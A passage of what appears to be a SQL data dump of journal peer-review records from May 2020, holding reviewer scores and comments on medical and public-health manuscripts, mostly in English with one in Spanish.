world, however the authors need to include a more detailed literature review. The authors have not compared their results with any other known methods. A table of comparison of the related works needs to be included in the paper.  ','There are grammatical mistakes in the paper , which need to be rectified. I recommend this paper  for publication only after the major revision. I have mentioned the  necessary changes in the comment to authors section.  ','2020-05-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1471,9910,3673,NULL,'4','g','y','y','y','Fue un placer para mí revisar este manuscrito.\r\nLo he leído con interés y creo que este es un buen artículo.\r\nEn consecuencia, felicito a los autores.\r\n\r\nDe todas formas, sugiero que, por favor, los autores verifiquen el siguiente comentario:\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nAunque los autores comentan algo, yo creo que deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Debe demostrarse que esta publicación \"anecdótica\" es una herramienta de enseñanza importante. El objetivo de la publicación de casos clínicos es básicamente educativo, el autor debe tener en cuenta el mensaje que desea comunicar y si este conocimiento será útil para los lectores. Quizás puede representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n','Fue un placer para mí revisar este manuscrito.\r\nLo he leído con interés y creo que este es un buen artículo.\r\nEn consecuencia, felicito a los autores.\r\n\r\nDe todas formas, sugiero que, por favor, los autores verifiquen el siguiente comentario:\r\n\r\n-Discusión:\r\nDebe entenderse como la presentación de un caso infrecuente o raro.\r\nAunque los autores comentan algo, yo creo que deberían mencionar más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Debe demostrarse que esta publicación \"anecdótica\" es una herramienta de enseñanza importante. El objetivo de la publicación de casos clínicos es básicamente educativo, el autor debe tener en cuenta el mensaje que desea comunicar y si este conocimiento será útil para los lectores. Quizás puede representar una descripción de un evento centinela; esto puede ser una advertencia para alertar en situaciones similares; y / o estimular la generación de otros estudios.\r\n','2020-05-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1487,11589,3573,NULL,'4','6','6','Y','Y','The article entitled \"Vitamin B12 deficiency associated with massive pulmonary embolism\" is a case report which explain the clinical features and neuroradiological findings of rare complication of vitamin B12 deficiency, a massive pulmonary embolism. And got a conclusion if Vitamin B12 deficiency is not treated at the early stages it may be associated with life-threatening complications.\r\nThe article is very interesting and useful for feture study. With proper image the author explain it very nicely. I suggest a small change i.e. the formating and grammer after that this article can publish.','The article entitled \"Vitamin B12 deficiency associated with massive pulmonary embolism\" is a case report which explain the clinical features and neuroradiological findings of rare complication of vitamin B12 deficiency, a massive pulmonary embolism. And got a conclusion if Vitamin B12 deficiency is not treated at the early stages it may be associated with life-threatening complications.\r\nThe article is very interesting and useful for feture study. With proper image the author explain it very nicely. I suggest a small change i.e. the formating and grammer after that this article can publish.','2020-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1488,11519,3997,NULL,'4','G','Y','Y','y','nill','nill','2020-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1489,11519,4001,NULL,'4','G','n','Y','y','good topic ','good topic of research','2020-05-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1490,12519,3799,NULL,'4','G','D','Y','y','Well your study trying to correlate between different variables with arterial stiffness ,like BMI,DM,Hypertension ,smoking triglyceride parameters does show a correlation -i think it was a retrospective study as u got data from the computer -please change everything to past sentence instead of we will do this even if prospective study as u have already got the results  and u said u had problems in checking parameters in opd due to covid  but correct the grammer part and u can try to start the study again once COVID is over regarding overcoming limitations although it is known worldwide with the obesity itself being a pandemic disease worldwide increasing DM and other factors is occurring and how one has to use measures to control BP etc with sugars LIPOPROTEIN  Well your study trying to correlate between different variables with arterial stiffness ,like BMI,DM,Hypertension ,smoking triglyceride parameters does show a correlation -i think it was a retrospective study as u got data from the computer -please change everything to past sentence instead of we will do this even if prospective study as u have already got the results  and u said u had problems in checking parameters in opd due to covid  but correct the grammer part and u can try to start the study again once COVID is over regarding overcoming limitations although it is known worldwide with the obesity itself being a pandemic disease worldwide increasing DM and other factors is occurring and how one has to use measures to control BP etc with adequate sugars, Lipoprotein levels towards HDL side to prevent any catastrophe to occur ','Well your study trying to correlate between different variables with arterial stiffness ,like BMI,DM,Hypertension ,smoking triglyceride parameters does show a correlation -i think it was a retrospective study as u got data from the computer -please change everything to past sentence instead of we will do this even if prospective study as u have already got the results  and u said u had problems in checking parameters in opd due to covid  but correct the grammer part and u can try to start the study again once COVID is over regarding overcoming limitations although it is known worldwide with the obesity itself being a pandemic disease worldwide increasing DM and other factors is occurring and how one has to use measures to control BP etc with sugars LP levels towards HDL side to prevent any catastrophe to occur adequate sugars, Lipoprotein levels towards HDL side to prevent any catastrophe to occur ','2020-05-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1492,10967,3986,NULL,'5','G','Y','Y','Y','Good','Good','2020-05-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1502,7022,3644,NULL,'2','4','3','3','4','Overall the manuscript has very promising outcomes but needs some additional analysis to confirm their outcomes.\r\n\r\n1.)	Authors should have some information on the structure of the compound to understand the binding kinetics of the compound to bind to cox-2.\r\n2.)	Comment on if this compound should be tried in preclinical in vitro and in vivo studies to prove the use of this compound. \r\n3.)	What are the tools utilized to verify these results is there comparative triplicate or multiple analysis done to prove the use of these compounds.\r\n','','2020-05-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1503,7022,3864,NULL,'5','5','6','5','5','Overall the manuscript has very promising outcomes and novel findings about the tested agent which could be useful for the translation research.\r\n\r\n1.)	Comment on why were the adenocarcinoma cells were used for this research. Do they have genetic information on these cell lines and does any mutation in these lines affect their response to the tested compound.\r\n2.)	Were any additional cell lines tested. Comment if different cell lines will lead to any differences in the response. \r\n3.)	Comment if any information available on the binding efficacy of this tested agent. Are binding kinetics studies being done. \r\n','','2020-05-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1505,12513,3831,NULL,'3','R','D','Y','Y','Abstract should be included in the body of the article\r\nKeywords must be place after abstract \r\nAbbreviations must be incorporated in the material and methods\r\nIntroduction is too short. Author must elaborate on the  functions pf platelets.\r\nAny previous and similar studies?\r\nWhat is the number of patients participated in this stud? What is the number of excluded patients?\r\nAuthor must not use word\"our study \", can use this study ot current study.\r\nMeasurements should be replaced by analysis\r\nTable 1,2 and 3 are missing\r\nAuthor should not use word \"we\"\r\nConclusion','The study is small scale and offers limited information for the medical societD','2020-05-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1506,9532,3987,NULL,'4','r','d','m','y','1. In the text, following statements include the term  ‘we\'. Do not use the term ‘we’ in scientific writing. Use the scientific writing guidelines\r\n•	Additionally, we need monitoring tools to be accurate, precise, and easily understood.\r\n•	We found that overall, 0.6% of the subjects (n=14) had at least one type of STDs at the time of the study.\r\n•	Furthermore, due to executive inability to use laboratory diagnostic kits, we were not able to detect co-infections of sexually transmitted pathogens in respondents.\r\n\r\n2. Materials and methods  section is confusing comparing to the title.  Without reviewing the questioner for the survey,  cannot comment any regarding the research.  \r\n3. Smoking is not included in  Materials and methods , but there are results on that topic.\r\n4. In Conclusion there is a statement \'The prevalence of STDs is still low among male population in Iran\' in compared to what?????????\r\n','Minor Revision is required.','2020-05-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1507,9531,3987,NULL,'2','G','N','Y','Y','Dear Author,\r\n\r\nIn summary, your article is out of scope to the title and the facts are extremely shallow. The writeup appears beneficial to selected group of individuals and the study is very local. You are requested to first understand your topic, read relevant literature and only then attempt to address concerns and rewrite the article. The topic you are writing is concerning and would get you citations but, preparing facts in this manner does not bring any value to new knowledge. I would have suggested to decline this article from publication but judging the fact that it elaborates on STD, the readership and attention is assured. Please pay attention to the remarks provided in the main document.','Dear Editor,\r\n\r\nThis article is flawed from the introduction itself. The revisions are beyond major, meaning that the author needs to rewrite 90 % of the article. Only then, it can be considered for another round of review. Due to importance of this study, I have suggested major revision without rejection. But, if the author does not address all concerns, I would definitely reject this article in the next review. With this, I intend to review the revised version. Thank you.','2020-05-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1514,629,3833,NULL,'4','g','Y','M','Y','The case study describes a patient with isolated orthopnea.  It has a good summary of basic diagnosis, description of main symptoms, past medical history, and current treatments with the corresponding developments.  Several things to consider.  First, it is not clear to me why in the abstract it is said that “Past history of operated thymoma in such a patient may have specific implications with regard to its etiology and is discussed”.  However, it is clear that the “Recurrence of thymoma and other mediastinal pathologies which could cause phrenic nerve palsy were ruled out by appropriate imaging studies.” Second, it is recommended that authors add a separate paragraph highlighting comments on the recommended treatment for other clinicians who encounter a similar situation, what do authors recommend, neostigmine 1.5 mg intramuscular with atropine (0.6 mg intravenous) or graduate increasing dosing of prednisolone and azathioprine?  Please make it more obvious and supplemented with some comments/caveats. Third, the formality is off, for example, the spaces between words are abnormal, at least from the word version I downloaded from the system.  This creates a lot of inconvenience for readers, please correct. ','','2020-05-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1515,11589,3657,NULL,'4','G','Y','Y','Y','In this manuscript author described about The efficacy of anti-inflammatory medication in postoperative cognitive decline. The title is good and informative. The abstract is well written. KEYWORDS are missing. The introduction provide sufficient background information for readers. The text is well arranged. Finally the author found that anti-inflammatory effects of agents may positively affect cognitive functioning after surgery, as overall the administration of different anti-inflammatory agents was found to significantly reduce the incidence of POCD in patients The topic is very interesting and may help in future study.\r\nHowever some minor changes required: grammatical error, sentence formation, reference format','In this manuscript author described about The efficacy of anti-inflammatory medication in postoperative cognitive decline. The title is good and informative. The abstract is well written. KEYWORDS are missing. The introduction provide sufficient background information for readers. The text is well arranged. Finally the author found that anti-inflammatory effects of agents may positively affect cognitive functioning after surgery, as overall the administration of different anti-inflammatory agents was found to significantly reduce the incidence of POCD in patients The topic is very interesting and may help in future study.\r\nHowever some minor changes required: grammatical error, sentence formation, reference format','2020-05-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1516,11714,3894,NULL,'4','G','D','Y','Y','Hopefully this paper is an important in public health as resource for reference. However it needs some revision:\r\n1.General comment the paper is  very good for literature review in topic of RH\r\n2. It needs some minor comments, that needs reversion.\r\n2.1 your abstract section needs attention\r\nPlease revisit your conclusion it seems obligation , make   strong recommendation\r\n2.2.All your cited references has no page number please, add it\r\n2.3.In your result section, please, add finding number(%),otherwise it does not give meaning\r\n2.4.Almost all writing you have used respectively with comma please make edition\r\n2.5.discussion part needs through revision as I have putted the main doc,,, there is a lot of gap go and make revision\r\n2.6.Put strengthen and limitation at end of discussion section in new paragraph\r\n2.7. Please, revise your conclusion and recommendation\r\n2.8. Please, follow the reference style  like coma, full stop, smi -colon & italic\r\nAdd web site/doi and accessed date\r\n\r\n','I believe this paper will  help us as reference in reproductive health,However, it needs revision and edition in some part of the paper.\r\nFor full revision I will attach the main doc in your email address.\r\n\r\n','2020-05-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1521,8997,2838,NULL,'5','5','5','5','5','the manuscript is cohesive and objective\r\n\r\nthe method is well outlined\r\n\r\nConsistent results\r\n\r\nConclusion responds to the object of investigation','the manuscript is cohesive and objective\r\n\r\nthe method is well outlined\r\n\r\nConsistent results\r\n\r\nConclusion responds to the object of investigation','2020-05-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1523,629,3682,NULL,'2','G','Y','Y','Y','For some reason, the system does not show any submission except the abstract, so the following comments merely target the abstract.  Please confirm with the journal for proper delivery.  From the abstract, it seems the study focus on organizing different symptoms of CM-1.  The intrinsic limitation is the size of the sample size--18, so more follow-on reports are favored for other clinicians to gain more insight.  I am not sure if the actual manuscript does a comparison between CM-1 and other disorders whose manifestations include headache, if not, it is advised to include one, because this will be more informative for other clinicians to avoid misdiagnosis.  Another topic is recommended, if the actual manuscript does not cover: the pros and cons of decompression surgery.  Please edit the manuscript accordingly if appropriate.','','2020-05-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1525,629,1457,NULL,'4','G','Y','Y','Y','The paper describes an interesting hypothesis that vestibular system serves as An Endogenous Zeitgeber.  Though theoretically intriguing, the paper lacks of any experimental support, not even indirect support.  For example, if indeed the nerve firing originating from the gravity and the heartbeat is the key, why not organizing an experiment where a group of healthy subjects and a group of patients with tachycardia, to test if their perception of time is different.  I understand this is not the goal of the paper, follow-up experiments can be described in another paper, but a brief description of similar experimental designs will be a good add-on for this manuscript.','','2020-05-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1526,629,3447,NULL,'4','G','Y','Y','Y','This is a nicely drafted case report of one middle-aged adult patient who showed initial sign of SPS but diagnosed as ADEM.  It would be better if some economic considerations are discussed in the paper for larger-scale application of screening all patients who are suspicious of having ADEM to have tests for pyramidal signs and imaging.','','2020-05-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1528,9803,3708,NULL,'4','f','n','n','n','Hi\r\nyour subject isn\'t novel but interesting \r\nplease check your English grammar\r\n\r\nbest regard','','2020-05-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1530,12532,3997,NULL,'4','G','N','Y','N','The topic chosen is very beneficial and provides a lot of useful information. Moreover, written very well and needs minor corrections mentioned in the comments.','','2020-05-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1532,12532,3996,NULL,'4','G','N','Y','N','Author has worked hard in order to increase awareness of radiation hazards. Author has covered the topic very well and just minor corrections are needed as mentioned in the comments.\r\n  ','','2020-05-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1546,12513,3874,NULL,'4','G','N','Y','N','- Title of the study needs modification. The title does not reflect the importance of the study\r\n- The first page ( except the title) is unnecessarily fitted in the article. It can be omitted  \r\n- Authors should not used word ( we) instead they can use this study \r\n- in the introduction, authors can explain in few lines what is CPR technique\r\n- Bystander CPR? Explain in the article body.\r\n- From 4178 study only 12 of them were selected. It sounds not representative for the study.\r\n- In table 1, It\'s not clear how Traffic congestion delaying emergency response in CPR improves  survival rate. Please explain.\r\n- In discussion, Survival from out-of-hospital cardiac arrest was low in different cities of USA and this low survival rate was due to traffic congestion delaying emergency response. This fact contradict the finding in table 1 about the study in the USA.\r\n- In discussion, Low rate of CPR education can be changed to low level of CPR education.\r\n\r\n','Comprehensive study. Authors need to address the comments before publication.','2020-05-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1547,12597,4032,NULL,'4','G','N','Y','N','Reviewer comments on manuscript: iphsj-20-4032\r\n•	This literature review fits the aims and scope of the “Health Science Journal”\r\n•	The title of the article clearly describes the review \r\n•	Line numbering was missing thus making the review comments difficult to mention the exact part of the manuscript they refer to.\r\n•	The last paragraph of the Introduction section should mention in details the considerations of DAA discussed at the main body of the text. Please clearly specify …..” This article will review the well-documented postoperative considerations”…….i.e.  DAA approach and technique as well as implant specifications and patients’ clinical characteristics that are taking into account at the postoperative physiotherapy management.\r\n•	When mentioning biomechanical loading in terms of BODY WEIGHT (BW) please refer to it as a percentage of BW e.g. 125%BW, not 1.0BW.\r\n•	The main body of text flows in a satisfactory way and the English language is proper syntactically and grammatically. A minor error at the second line of conclusions section “….DAA is an (a) MIS technique….”\r\n•	The first paragraph of the conclusions section presents in a satisfactory way the findings of this review.\r\n','A well written manuscript, presents significant information for DAA.','2020-05-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1551,12531,3997,NULL,'3','g','n','y','y','This researcher has opted for a very good topic that needs emphasis as to help developing standard procedure with minimum morbidity. However, it is advised that the article should be more comprehensive and should contain all the details needed to make point clear.\r\nThe author should go through the comments mentioned in the submitted manuscript addressing the following also.\r\n•	Professional English review is needed as it contains many grammar and formatting mistakes\r\n•	Previous studies should be mentioned in introduction\r\n•	Rationale of the study should be clear as objective depends on rationale\r\n•	Data collection procedure should have details of what and how it was done. Details of variables must be included.\r\n•	Mismatch of values in results and discussion should be corrected\r\n•	Reference should be given for important comments.\r\n•	Conclusion should be re-written according to the results collected.\r\nRegards','','2020-05-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1552,12531,3996,NULL,'3','g','y','y','y','This researcher has opted for a very good topic that needs emphasis as educating the health workers can prevent hazardous outcomes. However, it is advised that the article should be more comprehensive and should contain all the details needed to make point clear.\r\nThe author should go through the comments mentioned in the submitted manuscript addressing the following also.\r\n•	Professional English review is needed as it contains many grammar and formatting mistakes\r\n•	Aim of the study should be re-designed as there is no mention of educating and improvement procedure in the manuscript while the aims focuses on improvement and education. The data collected is sort of knowledge of health care workers regarding protection.\r\n•	Inclusion/exclusion criteria should be redressed.\r\n•	Statistical analysis should be reviewed and written in detail.\r\n•	Data collection procedure and variables studied should be mentioned.\r\n•	Reference should be given for important comments.\r\n•	Discrepancy in values written in results and discussion should be removed.\r\n•	Provide only relevant information\r\nRegards','','2020-05-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1559,10685,4017,NULL,'4','g','y','y','y','(DOI: 10.21802/gmj.2019.2.11) and (DOI: 10.1111/iwj.13265 ) I suggest both of these uptodate studies for the references','acceptable after revision','2020-05-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1560,10685,2838,NULL,'4','g','y','y','y','(DOI: 10.21802/gmj.2019.2.11) and (DOI: 10.1111/iwj.13265 ) I suggest both of these uptodate studies for the references','acceptable after revision','2020-05-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1561,10684,4017,NULL,'4','g','y','y','y','(DOI: 10.21802/gmj.2019.2.11) and (DOI: 10.1111/iwj.13265) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1562,12259,3791,NULL,'2','R','d','m','n','Thank you for your valuable work.\r\nThe authors discussed the impact of the usage of ambroxol hydrochloride with antibiotics together with the importance of implementing a scientific standardized nursing service on the outcome of chronic bronchitis subjects.\r\nThere are some points to be considered for modification in the manuscript.\r\nMajor points:\r\n1.	The introduction has no references.\r\n2.	The first paragraph of methods needs a reference for definition and the criteria of diagnosis of chronic bronchitis.\r\n3.	What do you mean by blood test? What it\'s the role?\r\n4.	There is no role of chest x-ray in the diagnosis of chronic bronchitis.\r\n5.	The paragraph below figure 1 is not in the correct place which should be in the results chapter.\r\n6.	Levofloxacin dose must be in milligrams and not in milliliters.\r\n7.	Please identify the actual doses and frequencies of antibiotics (which is more important than the method of their preparation) and please give a reference for that.\r\n8.	below figure 3: what is the aim of these figures and what is the finding differences? How do you compare between a plane chest x-ray and a computerized tomography?\r\nMinor points:\r\n1.	Figure 1 is not referred to in the text.\r\n2.	In the 2.4 statistical method paragraph: note (mean ± standard deviation not average)\r\n3.	There are no footers under the tables.\r\n4.	The pages of the manuscript are not numbered.','Considerable changes are needed.','2020-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1563,11714,4003,NULL,'4','R','D','Y','Y','Hopefully this literature is very important in public health particularly in reproductive health program\r\nHowever, it needs some minor revision :\r\nGeneral comment: Facility based(Setting) study is very helpful in RH program implementation, so I believe this paper may reduce some literature gap.\r\n1.  Abstract :Please, revisit  your objectives?\r\nmake grammatical correct, does not give sense, wide confidence interval\r\nplease, check your samples?(in result section)\r\nin conclusion part :Who is the concerned body, please make  sure for your recommendations\r\n2.  Subjects and Methods : Not common writing\r\nPlease make correct like”  Methods and Materials\r\nPlease, use common research standard \r\ni/Sample size determination\r\nii/ Sampling techniques\r\niii/Data collection methods and procedure\r\niv/ Data analysis\r\nin study setting :Where is the reference?\r\n3. Result : Please make sure it feasible?\r\nYou have told us self-administered questionnaires’’, the topic is  also needs sensitive issues? Please, revises your questionnaires? where is your\r\nTables\r\n4. Discussion : Write your finding first consistent with your finding, then your finding higher than other, then lastly your finding is lower than other local,  regional and global\r\nPlease, compare your finding with other, don’t mention others findings\r\nWhere is your findings, discussion is comparison of your main findings\r\nPlease, write your discussion like this paragraph\r\nOtherwise do not mix different idea in one paragraph\r\n Please, add limitation of your study\r\n5. Conclusion: Please, be short and specific in your conclusion and be strong in your recommendation to convince your reviewer\r\n6. Reference: Follow this journal reference  style\r\nPlease, see all my comments in your doc.\r\n\r\n','I am happy to review this journal. This paper is helpful in public health RH\r\nHowever, it needs some revision as  I mentioned in doc\r\nplease, kindly share my comments attached in your email address','2020-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1566,12259,4058,NULL,'3','R','N','N','N','The authors presented a case report about an SLE young woman with pleuropulmonary manifestations, which is a common and expected presentation for these types of patients.\r\nThere were some minor points to modify:\r\n1.	The author\'s names should not be mentioned as it is a blind reviewing process.\r\n2.	The pages are not numbered.\r\n3.	What “BK expectorations” stands for?\r\n4.	No references were cited in the introduction.\r\n5.	The first reference is (7) and the last reference is (8) while there are only 4 references are listed.','Modifications are needed.','2020-05-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1567,12259,4113,NULL,'4','R','N','N','N','The authors presented a case report about chronic granulomatous disease in an 8-year-old patient.\r\nThere were some minor points to modify:\r\n1.	The author\'s names should not be mentioned as it is a blind reviewing process.\r\n2.	The pages are not numbered.\r\n3.	I would prefer to include a figure presenting the radiological picture of the patient.','Minor modifications needed.','2020-05-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1576,9537,4015,NULL,'5','y','y','y','n',' Provide structure of Budesonide \r\n','','2020-05-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1577,9537,4065,NULL,'5','y','y','y','n','Herbal  hand  sanitizer was prepared using extracts of Azadirachta indica, Ocimum sanctum, improves benefits over chemical sanitizers and also in side effects of chemical by which our hands get dry \r\nGlycerol is added to enhance softness and moisturizing effect this can be replaced by some other less cost chemicals to keep cost profile less \r\nThere is minimal alcoholic content to reduce skin irritation, dryness, eczema and other harmful effects to skin this helpful for world wide \r\n','','2020-05-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1578,12867,4142,NULL,'5','G','D','Y','Y','No comments','No comments','2020-05-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1579,9537,4090,NULL,'5','y','y','y','n','Mention some bacteria names which causes oral infections \r\ntry to express advantage of chemical oral mouth ulcers vs biological ones in tabular form\r\nNatural remedies are more acceptable in the belief that they are safer with lesser side effects than the synthetic medicines this is highly acceptable and is written and exemplified in proper way in the manuscript and can be move forward for publishing\r\n','','2020-05-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1580,9532,4113,NULL,'4','r','d','y','y','•	There is a spelling mistake in \' Brazilian National Health Sistem\'\r\n•	No other comments to report on this case study.\r\n','•	There is a spelling mistake in \' Brazilian National Health Sistem\'\r\n•	No other comments to report on this case study.\r\n','2020-05-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1581,12875,3880,NULL,'5','g','y','m','Y','Very interesting case and innovative surgery tried with an excellent outcome. The surgical team deserves all the credit. The visuals (photographs) add-value to the manuscript. Since it is more than year the author could have reported if they had any similar case and if a similar effort was made to understand the opportunities of trying such surgeries. If the opportunities are infrequent, it\'s going to scale may be limited.','An innovative surgery case report deserves commendation. However, the surgical opportunities of such surgeries may be infrequent and the procedure may not be to popularized. That does not take away the due credit to the surgical team. ','2020-05-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1583,12776,4081,NULL,'5','G','Y','Y','N','\r\nThe study of obesity is very important and its needs more research in the Caribbean region. A comparative study as the author suggested will be needed .Great study and i recommend for publication.\r\n\r\n\r\n','','2020-05-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1587,12875,3741,NULL,'5','R','N','M','N','A well-documented case study of one of the rare causes of Recurrent Acute Pancreatitis (RAP). Leaving behind the duct of more than  1 cm of duct in the first Cholesystecomy appears to be the main cause. though common in women this being a male patient raises interest. The process of endoscopic ultrasound was justifiable to prevent a possible delay in diagnosis. Simultaneous Endoscopic Sphincterotomy (ES) performed on cystic duct lithiasis was a good decision. However, it would have been better if the authors were to report the prognosis of the case and for how long has the patient been living without recurrence.','An interesting case intervention following an endoscopic ultrasound to clinch the diagnosis and the choice of intervention- Endoscopic Sphincterotomy (ES) on cystic duct lithiasis was a good decision. Adding the prognosis and period of absence subsequent RAP\'s would have strengthened the case much more.','2020-05-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1590,2238,2464,NULL,'5','g','y','y','y','In this review Author described the Methods of Ergonomic Evaluation in Upper Limb in Agricultural Manual Work.\r\nAgriculture is considered as the source of living for most of rural areas, which is about greater than 70%. This study describes the main ergonomic methods adopted to evaluate the upper limb in manual agricultural work and the quality of available evidence in electronic databases.\r\nThis systematic review highlights the needing of adjusting tools in order to identify and evaluate potentially dangerous tasks by their movements and/or postures in real time.\r\n','In this review Author described the Methods of Ergonomic Evaluation in Upper Limb in Agricultural Manual Work.\r\nAgriculture is considered as the source of living for most of rural areas, which is about greater than 70%. This study describes the main ergonomic methods adopted to evaluate the upper limb in manual agricultural work and the quality of available evidence in electronic databases.\r\nThis systematic review highlights the needing of adjusting tools in order to identify and evaluate potentially dangerous tasks by their movements and/or postures in real time.\r\n','2020-05-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1600,12972,4083,NULL,'5','r','Y','Y','Y','article is fine to publish, some grammatical mistakes are need to correct','','2020-05-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1601,12972,4148,NULL,'6','r','Y','Y','Y','article is fit for publication, research work is done very genuinely and results are good ','','2020-05-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1605,12897,4138,NULL,'4','G','N','M','N','It is an interesting subject but I notice that it has been handled in a superficial way \"not appropriate\" especially in the discussion which remains very short.\r\nThe therapeutic management has not been much more detailed, especially for the laparoscopic part of the treatment.\r\nfor the references; they are few and above all there are few very recent references.\r\n','It is an attractive subject but I have noticed that it has been superficially approached in a \"non-approved\" way, especially in the very short discussion.\r\n\r\nI think from my scientific point of view it can be published with minor revisions. \r\n\r\n','2020-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1608,4452,3835,NULL,'3','G','Y','Y','Y','ABSTRACT:\r\n1. Whereas the abstract indicates that tc=1 and Fmax=1 /year but M=1.59/Year and this means that the fish has a very high productivity.\r\n2. This aspect of the population dynamic is not mentioned nor discussed at all in the manuscript and yet it is critical for determining the harvest control rules.\r\n\r\nIntroduction:\r\n1. There are a number of superscripts throughout the introduction and it is not clear what they mean. Even if they refer to the reference citations, the sequence in the list of references \r\n    do not math the text or concepts of the content/text \r\n2. Pg 2 Par 2 Ln 2: The surface are 2 40 000 sq. km is quite confusing, the authors need to clarify this figure\r\n2. Pg 2 Par 2 Ln 2: Continental shelf of 50 270 sq km is equally confusing, the authors need to clarify this figure\r\n\r\nMATERIALS AND METHODS:\r\n\r\n1. It is not clear why the length was measured to 1 cm when most fish measuring boards can read up to 0.1 cm\r\n2. There are a number of standard methods mentioned in the methodology without any reference to the authors:\r\n    a) Length-Weight Relationship (Le Cren, 1951), though it is listed in the reference list\r\n    b) Von Bertalanffy Growth Formula (Von Bertalanffy, 1938) is not cited nor listed in the 